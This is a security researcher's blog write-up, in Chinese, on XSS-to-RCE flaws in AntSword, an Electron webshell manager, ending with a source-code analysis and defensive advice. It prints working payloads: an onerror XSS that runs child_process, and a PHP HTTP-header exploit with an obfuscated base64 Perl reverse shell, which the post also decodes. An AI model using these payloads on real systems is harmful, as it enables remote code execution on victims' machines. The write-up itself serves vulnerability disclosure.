Author:evoA@Syclover
前言:
事情的起因是因为在一次面试中,面试官在提到我的CVE的时候说了我的CVE质量不高。简历里那几个CVE都是大一水过来的,之后也没有挖CVE更别说高质量的,所以那天晚上在我寻思对哪个CMS下手挖点高质量CVE的时候,我盯上了蚁剑并挖掘到了一枚RCE,虽然漏洞的水平并不高但是思路和过程我觉得值得拿来分享一下。
Electron
Electron是由Github开发,用HTML,CSS和JavaScript来构建跨平台桌面应用程序的一个开源库。 Electron通过将Chromium和Node.js合并到同一个运行时环境中,并将其打包为Mac,Windows和Linux系统下的应用来实现这一目的。
简而言之,只要你会HTML,CSS,Javascript。学习这门框架,你就能跨平台开发桌面应用程序,像VSCode,Typora,Atom,Github Desktop都是使用Electron应用进行跨平台开发。虽然Electron十分简单方便,但是我认为其存在很严重的安全问题
第一个蚁剑的洞
面完的当晚我正对着github的开源项目发呆,准备寻找一些开源项目进行审计,却不知不觉的逛到了历史记录蚁剑的项目,当我准备关闭的时候,一行说明引起了我的注意
我发现蚁剑是使用Electron进行开发的,这就说明了我可以进行Electron应用的漏洞挖掘,于是我抱着试试看的运气打开了蚁剑,并在最显眼的位置输
成功XSS!由于蚁剑用Electron开发,当前程序的上下文应该是node,于是我们可以调用node模块进行RCE
poc:
<img src=# onerror="require('child_process').exec('cat /etc/passwd',(error, stdout, stderr)=>{
alert(`stdout: ${stdout}`);
});">
另三个洞
成功RCE,那天晚上在和Smi1e师傅吹水@Smi1e,跟他聊到这个后,他发现shell管理界面也没有任何过滤
以上三个点都可以XSS造成RCE,poc和上面一样,就不做演示了,于是我把这些洞交了issue
但是结果是
被官方评为self-xss了,很难受,虽然蚁剑有1000个star,但是这个洞确实比较鸡肋,唯一可以利用的方式只有把自己的蚁剑传给别人让别人打开,这在实战中几乎是不可能的事情。
注:这四个洞所填的数据在电脑上是有储存的,位置在~/蚁剑源码目录/antData/db.ant文件中以JSON格式进行存储
所以理论上如果能替换别人电脑上的此文件也能造成RCE(但是都能替换文件内容了为什么还要这个方法来RCE干嘛)就很鸡肋
真-RCE的发现
就在我一筹莫展的时候,我随便点了一个shell
!!!!!!!!
虽然我以前从来不看报错,但在这个时候我十分敏感的觉得这个报错信息肯定有我可控的点,大概看了一番,发现这么一句话
这不就是HTTP的状态码和信息吗,要知道http协议状态码是可以随意更改的,并且状态信息也可以自定义,并不会导致无法解析,于是我在我的机子进行实验
<?php
header('HTTP/1.1 500 <img src=# onerror=alert(1)>');
喜提一枚X (R) S (C) S (E) 漏洞,当然这只是poc,并不能执行命令。下面是我的exp
<?php
header("HTTP/1.1 406 Not <img src=# onerror='eval(new Buffer(`cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoJ3BlcmwgLWUgXCd1c2UgU29ja2V0OyRpPSIxMjcuMC4wLjEiOyRwPTEwMDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9iYXNoIC1pIik7fTtcJycsKGVycm9yLCBzdGRvdXQsIHN0ZGVycik9PnsKICAgIGFsZXJ0KGBzdGRvdXQ6ICR7c3Rkb3V0fWApOwogIH0pOw==`,`base64`).toString())'>");
?>
base64是因为引号太多了很麻烦,只能先编码在解码eval。解码后的代码
require('child_process').exec('perl -e 'use Socket;$i="127.0.0.1";$p=1002;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'',(error, stdout, stderr)=>{
alert(`stdout: ${stdout}`);
});
双击shell后
并且在蚁剑关闭后这个shell也不会断
源码分析
这是官方修复我第一个Self-xss的代码改动
更新后在目录输出这个位置使用了noxss函数进行输出,全局查找noxss函数
函数的作用很明显,把& < > “替换为实体字符,默认也替换换行。所以我们在新版本构造的exp会失效
并且作者在大部分的输出点都做了过滤
几乎界面的所有输出都做了过滤,那为什么在我们的连接错误信息中没有过滤呢。于是我准备从源码层面上分析原因。由于错误信息是在连接失败的时候抛出,所以我怀疑输出点是http连接时候的错误处理产生的输出,所以先全局查找http的连接功能或函数,由于http连接一般属于核心全局函数或类。我先从入口文件app.js看起。(通过package.json配置文件的main值知道入口文件是app.js)
入口文件一共就80行,在最末尾入口文件引入了6个文件,其中的request十分明显肯定是发起网络请求的文件,跟进分析。
开头的注释就表示了这个文件就是专门发起网络请求的函数文件,在第13行,发现这个文件引入了一个模块superagent,这是一个node的轻量级网络请求模块,类似于python中的requests库,所以可以确定此函数使用这个库发起网络请求,追踪superagent变量
在104行发现,新建了一个网络请求,并且将返回对象赋予_request参数,从94行的注释也能发现这里应该实现的应该给是发起网络请求的功能,所以从这里开始追踪_request变量。
从123行到132行是发网络请求,并且151行,当产生错误的时候会传递一个request-error错误,并且传递了错误信息,并且之后的代码也是相同的错误处理,于是全局搜索request-error。
很明显,跟进base.js
这里定义了一个request函数,封装好了http请求,在监听到request-error-事件的时候会直接返回promise的reject状态,并且传递error信息,ret变量就是上面传递过来的err, rej就是promise的reject,不懂promise的可以去看看promise。然后由之后调用此request函数的catch捕获。所以全局搜索request函数
在搜索列表里发现有database,filemanager,shellmanager等文件都调用了request函数,由于蚁剑的shell先会列目录文件,所以第一个网络请求可能是发起文件或目录操作,而我们的错误信息就是在第一次网络请求后面被输出,所以跟进filemanager
在140行注释发现了获取文件目录的函数,审计函数
在166行发现了调用了request函数,204行用catch捕获了前面promise的reject,并且将err错误信息json格式化并传递给toastr.error这个函数。toastr是一款轻量级的通知提示框Javascript插件,下面是这个插件的用法
看看上面蚁剑输出的错误信息,是不是发现了点什么。
这个插件在浏览器里面也是默认不会进行xss过滤的。由于错误信息包含了http返回包的状态码和信息,所以我们构造恶意http头,前端通过toastr插件输出即可造成远程命令执行。
总结
由于http的错误信息输出点混杂在了逻辑函数中,相当于控制器和视图没有很好地解耦,开发者虽然对大部分的输出点进行的过滤,但是由于这个输出点比较隐蔽且混淆在的控制层,所以忽略了对此报错输出的过滤,并且错误信息是通过通知插件输出,更增加了输出的隐蔽性。开发人员在使用类似插件的时候应该了解插件是否对这类漏洞做了过滤,不能过度信赖第三方插件,并且在编写大型项目的时候,视图层和控制层应该尽可能的分离,这样才能更好进行项目的维护。
对于electron应用,开发者应该了解xss的重要性,electron应用的xss是直接可以造成系统RCE的,对于用户可控输出点,特别是这种远程可控输出点,都必须进行过滤。
发表评论
您还未登录,请先登录。
登录